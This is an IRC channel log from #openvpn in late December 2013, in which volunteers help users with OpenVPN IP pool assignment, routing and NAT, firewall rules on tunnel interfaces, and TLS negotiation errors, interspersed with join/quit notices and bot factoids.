10:17 < wallbroken_u_z> pekster, i should also assign an high ip of the pool, in this way is very difficult that the server uses one of them in dynamic assigning
10:17 < wallbroken_u_z> like 253 or 254
10:17 < wallbroken_u_z> it should be a good idea?
10:17 < pekster> "also"? It doesn't matter if you're restricting the pool. Use any part of the network you want for a pool
10:18 < wallbroken_u_z> I haven't understood well this last sentence
10:19 < pekster> If you limit the pool you get to do static assignment out of the non-pool free space
10:19 < pekster> If you don't limit the pool, expect that things might break
10:19 < pekster> Very simple
10:21 < wallbroken_u_z> ok, but if i do not restrict the pool, and I use an high ip for the range, like .252, .253, or 254 is too much difficult that the server should use this ip to assign, because they are in the end of the pool
10:21 < wallbroken_u_z> only if I have too many hosts to connect, i should reach to use these IP's
10:21 < pekster> Don't do that
10:22 < pekster> It "might break in the future"
10:22 < pekster> Why on earth set something up that might break? It's a HORRIBLE idea, and I'm not going to waste hours I don't have explaining that to you
10:22 < pekster> It "might" work, or it might not if you connects lots of clients, or use ipp, or the allocation logic ever changes, etc, etc
10:23 < pekster> Less arguing about doing things that are obviously wrong. If you want to do them anyway, fine do it (open-source lets you use it _however_ you want!)
10:24 < wallbroken_u_z> ipp? that's another way to do static, but i don't like it
10:24 < pekster> It's _not_ static
10:24 < pekster> It's a memory, and it's likely to allocate higher IPs as a result
10:24 < pekster> !ipp
10:24 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
10:27 -!- liriel [~liriel@198.154.114.106] has joined #openvpn
10:29 -!- ibins [~ibins@cl-147.ham-02.de.sixxs.net] has joined #openvpn
10:43 -!- lowk3y is now known as lowkey
10:46 -!- eject_ck [~es@62.205.157.98] has left #openvpn []
10:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
11:01 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
11:01 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
11:02 -!- takamichi [~takamichi@85.12.8.104] has quit [Quit: Computer has gone to sleep.]
11:06 -!- atem [~atum@wheel.sh] has left #openvpn []
11:06 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Max SendQ exceeded]
11:07 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
11:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:32 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: Reconnecting]
11:33 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
11:38 -!- Protected [~Join@b.myshelter.net] has quit [Quit: Gone.]
11:40 -!- mchou_ [~quassel@c-71-202-64-124.hsd1.ca.comcast.net] has joined #openvpn
11:40 -!- mchou_ [~quassel@c-71-202-64-124.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
11:42 -!- mchou [~quassel@c-71-202-64-124.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
11:42 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
11:50 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
11:53 -!- elfixit [~Icedove@151.217.248.42] has quit [Ping timeout: 272 seconds]
12:04 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
12:06 -!- kro[au] [~thatguy@kgovps.net] has quit [Excess Flood]
12:09 -!- kro[au] [~thatguy@kgovps.net] has joined #openvpn
12:09 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
12:14 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
12:25 -!- Bretos1 is now known as Bretos
12:29 -!- Devastator [~devas@186.214.111.67] has quit [Changing host]
12:29 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:51 < wallbroken_u_z> !iporder
12:51 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
12:54 < wallbroken_u_z> Use --client-connect script generated file for static IP (first choice).
12:54 < wallbroken_u_z> what?
12:54 < wallbroken_u_z> I ever used --client-config-dir
12:57 <@krzee> "OpenVPN's internal client IP address selection algorithm works as follows"
12:58 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
13:04 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:08 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
13:10 -!- dimitry7 [~antonello@38.124.174.31] has quit [Quit: Leaving]
13:18 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
13:25 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
13:31 -!- _AxS_ [~axs@gentoo/developer/axs] has joined #openvpn
13:32 -!- jblack [~jblack@107.1.75.186] has joined #openvpn
13:32 < _AxS_> hey all ..  so I've been using openvpn for a couple of years now, primarily on linux but i have a couple of windows clients.  I'm having an issue with a Win7 client specifically, that has -very- slow transfers for no apparent reason.  Was wondering if anyone knew if this was a specific Win7 issue?
13:33 < jblack> Is this an appropriate channel for openvpn access server?  I'm trying to figure out how to put one user into two grups
13:33 < _AxS_> jblack: '#openvpn-as" according to the /topic
13:34 < jblack> _AxS_: Thanks. I missed that. =)
13:36 < _AxS_> I don't have access to the Win7 system at this particular moment, however I have the configs handy; i can say that i was getting ~120KB/s over the vpn link, and this was when the system was on the same local network as the server (130Mb/s wifi link); direct copies were much faster.  Also, CPU load on the client was minimal to non-existent, so that shouldn't have been a bottleneck.
13:40 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
13:45 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 240 seconds]
13:48 < pekster> _AxS_: How are you testing the speed? To get a decent comparison, you need to use the same transfer method with/without the VPN, and it's best to use as simple a protocol as possible such as a http transfer. The idea is to keep the traffic path the same but only change 1 thing at a time
13:49 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
13:49 < pekster> scp should work fine too if CPU isn't a factor for either openvpn peer
13:50  * _AxS_ nods..  that's what I did; only change was the target (local lan ip address, instead of vpn ip address)
13:51 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
13:51 < _AxS_> (i know running an openvpn tunnel is rather useless within a LAN, but this was for testing)
13:52 -!- jblack [~jblack@107.1.75.186] has left #openvpn []
13:54 < _AxS_> Now, i'm doing copies over CIFS, which isn't the best anyhow.  But, cifs-mounts on the vpn using older Windows boxen (XP, specifically) never had this bad of an issue, nor does my linux client..  20-30% speed degredation, sure, but not 95%
13:55 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 240 seconds]
13:55 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
13:56 < _AxS_> ..gtg. will come back once i have access to the system
13:56 -!- _AxS_ [~axs@gentoo/developer/axs] has quit [Quit: gone]
14:13 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:35 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-cayeynxcbaslzecq] has left #openvpn []
14:36 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has quit [Ping timeout: 260 seconds]
14:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
14:54 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
15:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:07 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
15:09 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
15:18 -!- Denial [Denial@2.217.201.230] has quit []
15:23 < wallbroken_u_z> local directive overrides the same directive pulled for server? or they will be ignored?
15:23 < wallbroken_u_z> *them
15:27 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
15:29 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
15:30 -!- sbma44 [~sbma44@c-68-33-34-221.hsd1.dc.comcast.net] has joined #openvpn
15:31 -!- p3rror [~mezgani@41.249.156.29] has joined #openvpn
15:39 -!- SJrX [~sjr@S010600fb42f573f0.vc.shawcable.net] has left #openvpn ["Leaving"]
15:46 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
15:50 -!- sbma44 [~sbma44@c-68-33-34-221.hsd1.dc.comcast.net] has quit [Read error: Connection reset by peer]
15:51 -!- sbma44 [~sbma44@c-68-33-34-221.hsd1.dc.comcast.net] has joined #openvpn
15:51 -!- grendal_prime [~sgraham@adsl-69-225-246-238.dsl.skt2ca.pacbell.net] has joined #openvpn
15:52 < grendal_prime> hey guys..im just trying to set up an openvpn client to connect to our server on win7 with a firewall ..this thing is really being a bitch.
15:52 < grendal_prime> is there a way to just allow everything from the tap9 device?
15:53 < grendal_prime> i would like to disable the firewall for the tap...i mean there is a way of doing that right?
15:54 < sbma44> hi all. I'm working on getting a tun interface working on my raspberry pi. the idea is to configure an EC2 AMI that I can spin up and down as needed, tunneling all traffic from the pi's eth1 through tun0. when no longer needed, the tunnel is deconstructed and eth1 returns to routing through to eth0 in a normal NAT configuration. I have succeeded in getting this configuration working with IPredator, but the SD card died and anyway I'd pre
15:54 < sbma44> to spin the server up and down myself.
15:56 < sbma44> I'm now trying to reconstruct things. most of it is working -- the baseline eth1->eth0 stuff works fine, the ec2 server comes up and tun0 can be successfully created -- but when the tun0 interface is established and the iptables behavior changed, I can't get traffic through. my test has been pinging 8.8.8.8. I suspect tun0 is not configured to route this traffic properly, but I'm awful at iptables and know even less about openvpn
15:56 < sbma44> configuration.
15:56 < pekster> sbma44: Start with a basic VPN setup you can find in the !howto, and once you can ping the VPN IP of your server from the client, proceed with redirection info/flowchart you have in !redirect
15:57 < pekster> Do you have a working client/server setup already? If so, start by reviewing the info and pasting your !configs and !logs (verb 4 from both sides, and please review the syntax to remove your comments as it's easier to read)
15:58 < pekster> at a pastebin, of course ;) (see also: !paste)
15:58 < sbma44> pekster: I am able to ping the VPN server from the client (raspberry pi when tun0 is active). haven't tried it from the NATed client on eth1 but I will in a moment (need to grab a different laptop so I don't lose this IRC connection).
15:58 < pekster> Ping its VPN IP, not the external address
15:58 < sbma44> pekster: thanks, I hope gists will suffice. here is working NAT and non-working routing to tun0 https://gist.github.com/sbma44/8188475 https://gist.github.com/sbma44/8188482
15:58 <@vpnHelper> Title: working NAT iptables configuration (at gist.github.com)
15:59 < sbma44> pekster: one moment while I clean up the comments from server.conf. and yes, I mean pinging the VPN IP
15:59 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
15:59 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
15:59 < pekster> You'll NAT on your VPN server, not the local gateway in this case
16:00 < pekster> So yea, let's at least see both configs before we dig further, and after you paste those, review the steps you need with this info:
16:00 < pekster> !redirect
16:00 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:00 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
16:04 < sbma44> pekster: https://gist.github.com/sbma44/8188997 is my server conf. the client is started using the command line for reasons specific to this software project https://gist.github.com/sbma44/8189020
16:04 <@vpnHelper> Title: comment-less openVPN server.conf (at gist.github.com)
16:07 -!- sbma44_ [~sbma44@c-68-33-34-221.hsd1.dc.comcast.net] has joined #openvpn
16:07 -!- WilliamDotSI [~will@this.reverse.dns.is.as.hot.as.william.si] has quit [Quit: -]
16:07 < sbma44_> bah, lost my connection there, apologies. if I missed anything after my last msg please let me know.
16:08 < pekster> sbma44_: Configs look fine. The rest is just getting your routing+NAT working as required
16:08 < pekster> Normally you just need to do NAT on your remote server as defined above in the !redirect output the bot gave, but if the server doesn't have a return route for your client-side LAN, you either need additional NAT there, or expose the client LAN to the server (via !clientlan)
16:08 -!- sbma44 [~sbma44@c-68-33-34-221.hsd1.dc.comcast.net] has quit [Ping timeout: 265 seconds]
16:08 -!- sbma44_ is now known as sbma44
16:11 < grendal_prime> does anyone know of a way to remove the windows 7 firewall setting for the openvpn tap adapter.
16:12 < pekster> ##windows might be a better bet for Windows-based help grendal_prime
16:12 < grendal_prime> nevermind i found it
16:23 -!- grendal_prime [~sgraham@adsl-69-225-246-238.dsl.skt2ca.pacbell.net] has quit [Quit: Ex-Chat]
16:23 < sbma44> !welcome
16:23 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:23 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:24 < sbma44> (lmk if there's a way to msg vpnHelper outside the channel, this particular IRCbot configuration is unusual to me)
16:28 < pekster> !privmsg
16:28 < pekster> !factoids search msg
16:28 <@vpnHelper> "msg" is (#1) to see vpnHelper's factoids in msg instead of the channel, /msg vpnHelper factoids whatis #openvpn <key> or (#2) so to see !configs in msg, you would type /msg vpnHelper factoids whatis #openvpn configs or (#3) you can also just see !factoids for a link to the full list of what the bot knows
16:29 < pekster> Here or in PM to the bot is fine; whatever's easier for you
16:32 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
16:33 <@krzee> also
16:33 <@krzee> !factoids
16:33 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
16:33 <@krzee> that is everything the bot knows ^^
16:34 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
16:37 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
16:40 -!- SamanthaD [~SamanthaD@unaffiliated/samanthad] has joined #openvpn
16:47 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
16:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:54 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
16:54 <@EugeneKay> !beer
16:54 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
16:54 <@EugeneKay> That is everything that matters ^
17:05 -!- SamanthaD [~SamanthaD@unaffiliated/samanthad] has quit [Quit: Leaving]
17:40 -!- novaflash is now known as novaflash_away
17:53 -!- JackSummer1 [~jack@213.143.50.14] has joined #openvpn
17:54 < reiffert> so true
17:55 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 246 seconds]
17:55 -!- JackSummer2 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
17:59 -!- JackSummer1 [~jack@213.143.50.14] has quit [Ping timeout: 252 seconds]
18:07 -!- novaflash_away is now known as novaflash
18:22 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 245 seconds]
18:31 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 246 seconds]
18:32 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 272 seconds]
18:42 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:42 -!- mode/#openvpn [+v s7r] by ChanServ
18:45 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
18:56 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
19:00 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
19:03 -!- master_of_master [~master_of@p4FF24E91.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
19:05 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 246 seconds]
19:05 -!- master_of_master [~master_of@p4FF24E82.dip0.t-ipconnect.de] has joined #openvpn
19:22 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
19:22 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit [Max SendQ exceeded]
19:28 -!- klein [~klein@177.101.104.191] has joined #openvpn
19:28 -!- klein [~klein@177.101.104.191] has quit [Changing host]
19:28 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:29 -!- klein [~klein@unaffiliated/klein] has quit [Client Quit]
19:29 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
19:33 < wallbroken_u_z> what is .rnd file in easyrsa?
19:38 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:39 < pekster> It's fed back into openssl and combined with other sources of entropy. https://www.openssl.org/docs/apps/rand.html
19:39 <@vpnHelper> Title: OpenSSL: Documents, rand(1) (at www.openssl.org)
19:40 < pekster> It's a byproduct of openssl command calls
19:40 < wallbroken_u_z> ok, can I delete it?
19:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
19:45 < pekster> If you really want, sure. It'll just come back. Why bother..
19:47 < wallbroken_u_z> maybe it was used when I created dh.pem
19:48 < wallbroken_u_z> I remember that there was a window terminal getting entropy
20:08 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
20:09 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
20:14 <@ecrist> good evening bitches
20:22 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
20:27 -!- sbma44 [~sbma44@c-68-33-34-221.hsd1.dc.comcast.net] has quit [Quit: sbma44]
20:41 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:17 -!- acovrig [~acovrig@c-71-228-232-202.hsd1.tn.comcast.net] has joined #openvpn
21:19 < acovrig> I am trying to get an openvpn instance working, I can ping the server *.1 from my client, but can't ping my client *.5 from the server, any ideas why? (and yes I have client-to-client enabled)
21:20 < pekster> firewall. You know openvpn & routing is working since a working ping means the reply "comes back" the reverse path
21:22 < acovrig> pekster: what firewall rules do i need? iptables -A INPUT -i tun+ -j ACCEPT?
21:23 < pekster> On the client that you can't get a ping from? Probably, unless the issue is the server accepting the reply
21:23 < pekster> Depends a bit on your ruleset. Since this is Netfilter, you can technically do goofy things like drop on the raw or mangle tables (raw is sometimes used for "early drop" before state matching, but anyone dropping on mangle needs to be shot)
21:24 < pekster> #Netfilter is a better place for in-depth firewall help on Linux, although you can try a pastebin of `iptables-save -c` here if you're confused and want a quick look-over first
21:25 < acovrig> pekster: if it means anything, I am using an ubuntu sever and mac (tunnelblick) client
21:26 < pekster> Since you can't ping the client, you should be looking at the client's firewall
21:27 < pekster> If your use-case for openvpn requires that your server reach your client, you should verify that your firewall allows the traffic you want
21:30 < acovrig> My main goal is client-to-client, so I enabled ipv4_forwarding in sysctl on the server and ran `ipfw allow ip from 10.8.0.0/24 to me via tun0` on the client, but it is still not working...
21:34 < acovrig> pekster: so I disabled my client firewall and it works, what specific rule do you think I should add (in ipfw)
21:36 < pekster> If you trust the VPN, just blindly allow anything arriving on the tun interface
21:36 < acovrig> I also tried `allow ip from any to any via tun0`
21:36 < pekster> If you don't, open the services you need
21:37 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
21:38 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
21:41 -!- JackSummer2 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
21:46 -!- acovrig [~acovrig@c-71-228-232-202.hsd1.tn.comcast.net] has quit [Quit: acovrig]
21:49 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
21:49 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 272 seconds]
21:50 -!- riddle [riddle@us.yunix.net] has joined #openvpn
22:21 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
22:21 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
22:21 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit [Max SendQ exceeded]
22:23 -!- sbma44 [~sbma44@c-68-33-34-221.hsd1.dc.comcast.net] has joined #openvpn
23:08 -!- sudoyum [474452c5@gateway/web/cgi-irc/kiwiirc.com/ip.71.68.82.197] has joined #openvpn
23:11 < sudoyum> hello, TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
23:11 < sudoyum> TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
23:11 < sudoyum> Hello, I'm getting a "TLS key negotiation failed to occur within 60 seconds" error... can anyone walk me through this
23:11 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
23:14 < pekster> sudoyum: Either you can't complete a connection (usually firewall, though sometimes just really bad network conditions) or the remote end is rejecting the connection for some reason (bad cert details, etc)
23:14 < pekster> Check your remote logs and firewall setup
23:15 < sudoyum> yeah thats what I keep reading, but I just disabled the firewalls and rebuilt the certs to no avail
23:15 < pekster> And your logs showed you what?
23:15 < pekster> Have you ran packet captures to check the arrival/response to traffic
23:15 < pekster> etc
23:17 < sudoyum> server side says "initial packet".. received. what should I be looking for in the packet trace
23:19 < pekster> Do you have logs from verb 4 from both sides?
23:19 < sudoyum> there really isnt anything in the logs for some reason
23:19 < pekster> In fact, start with basic info of your !configs and !logs (bot commands to explain how to get required info) if you need help here
23:19 < pekster> There are always useful things in the logs
23:20 < pekster> If nothing else, they confirm one side is doing what it's supposed to, and if something breaks it tells you why
23:20 < sudoyum> they are not updating though
23:21 < pekster> "updating" ?
23:21 <+rob0> No logs means no connection attempts (not getting through)
23:21 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has quit [Quit: ocean pulls me close her whispers in my ear the destiny have chose all becoming clear the currents have their say the time is drawing near washes me away makes me dissapear i decend from grace in arms of undertow i will take my place in the great below]
23:21 < pekster> Well, "no logs" means you're not logging at verb 4 ;)
23:21 < sudoyum> I should be seeeing udp traffic?
23:21 < sudoyum> on the server side?
23:21 < pekster> If you're transporting openvpn over UDP, the physical link should see UDP traffic on the port you're using, yes
23:22 < sudoyum> hmmm, I don't see any. I will reset the verbosity level and see what I get
23:25 -!- sbma44 [~sbma44@c-68-33-34-221.hsd1.dc.comcast.net] has quit [Quit: sbma44]
23:27 < sudoyum> Tue Dec 31 00:23:19 2013 us=9287 Current Parameter Settings:
23:27 < sudoyum> Tue Dec 31 00:23:19 2013 us=9287   config = 'server.ovpn'
23:27 < sudoyum> Tue Dec 31 00:23:19 2013 us=9287   mode = 1
23:27 < sudoyum> Tue Dec 31 00:23:19 2013 us=9287   show_ciphers = DISABLED
23:27 < sudoyum> Tue Dec 31 00:23:19 2013 us=9287   show_digests = DISABLED
23:27 < sudoyum> Tue Dec 31 00:23:19 2013 us=9287   show_engines = DISABLED
23:27 -!- sudoyum [474452c5@gateway/web/cgi-irc/kiwiirc.com/ip.71.68.82.197] has quit [Excess Flood]
23:27 < pekster> Whopsie
23:27 -!- sudoyum [474452c5@gateway/web/cgi-irc/kiwiirc.com/ip.71.68.82.197] has joined #openvpn
23:28 < pekster> sudoyum: You might try a paste site such as:
23:28 < pekster> !paste
23:28 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
23:29 < sudoyum> https://gist.github.com/anonymous/8192987
23:29 <@vpnHelper> Title: gist:8192987 (at gist.github.com)
23:30 < pekster> So, that log indicates that an outbound connecion was attempted, an initial reply packet came back, but no response was received after that within the timeout period (1 minute.) Where are your server logs?
23:30 < sudoyum> that was the server
23:31 < pekster> Ah, so it is
23:32 < pekster> So, the client logs will be relevant here, since no connection is completed
23:32 < pekster> Chances are the client dropped the connection for some reason
23:34 < sudoyum> https://gist.github.com/anonymous/8193022
23:34 <@vpnHelper> Title: gist:8193022 (at gist.github.com)
23:34 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 272 seconds]
23:36 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:36 < sudoyum> If the client is on the same LAN, it should still be able to connect right?
23:43 -!- Carbon_Monoxide [~cmonxide@14.0.143.23] has joined #openvpn
23:45 -!- Carbon_Monoxide [~cmonxide@14.0.143.23] has left #openvpn []
23:49 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Tue Dec 31 2013
00:01 -!- sudoyum [474452c5@gateway/web/cgi-irc/kiwiirc.com/ip.71.68.82.197] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
00:08 -!- acovrig [~acovrig@c-71-228-232-202.hsd1.tn.comcast.net] has joined #openvpn
00:13 -!- acovrig [~acovrig@c-71-228-232-202.hsd1.tn.comcast.net] has quit [Quit: acovrig]
00:16 -!- tcurnewmb4g [~tcurnewmb@172.56.5.168] has joined #openvpn
00:18 -!- sudoyum [474452c5@gateway/web/cgi-irc/kiwiirc.com/ip.71.68.82.197] has joined #openvpn
00:42 < sudoyum> If I am seeing "Multi:bad source address from client", does this really matter? Shouldn't it be only on the LAN that this is occuring?
00:50 -!- sudoyum [474452c5@gateway/web/cgi-irc/kiwiirc.com/ip.71.68.82.197] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
00:57 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
01:03 -!- tcurnewmb4g [~tcurnewmb@172.56.5.168] has quit [Quit: peace out]
01:19 -!- COm_BOY [~IceChat77@unaffiliated/com-boy/x-5438613] has joined #openvpn
01:37 -!- oc80z [~oc80z@74.63.222.147] has quit [Ping timeout: 240 seconds]
01:44 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
02:06 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:11 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
02:23 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:34 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 245 seconds]
02:35 -!- Revenant1 [~schiesupp@217.68.49.85] has joined #openvpn
02:36 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
03:06 < Revenant1> !goal
03:06 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
03:06 < Revenant1> !welcome
03:06 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
03:06 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
03:06 -!- Revenant1 [~schiesupp@217.68.49.85] has quit [Quit: Leaving]
03:07 -!- Revenant1 [~schiesupp@217.68.49.85] has joined #openvpn
03:09 < Revenant1> !welcome
03:09 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
03:09 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
03:09 < Revenant1> !goal
03:09 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
03:09 < Revenant1> !howto
03:09 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
03:15 -!- COm_BOY [~IceChat77@unaffiliated/com-boy/x-5438613] has quit [Quit: Easy as 3.14159265358979323846...]
03:16 < Revenant1> !route
03:16 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
03:16 <@vpnHelper> client
03:16 < Revenant1> !clientlan
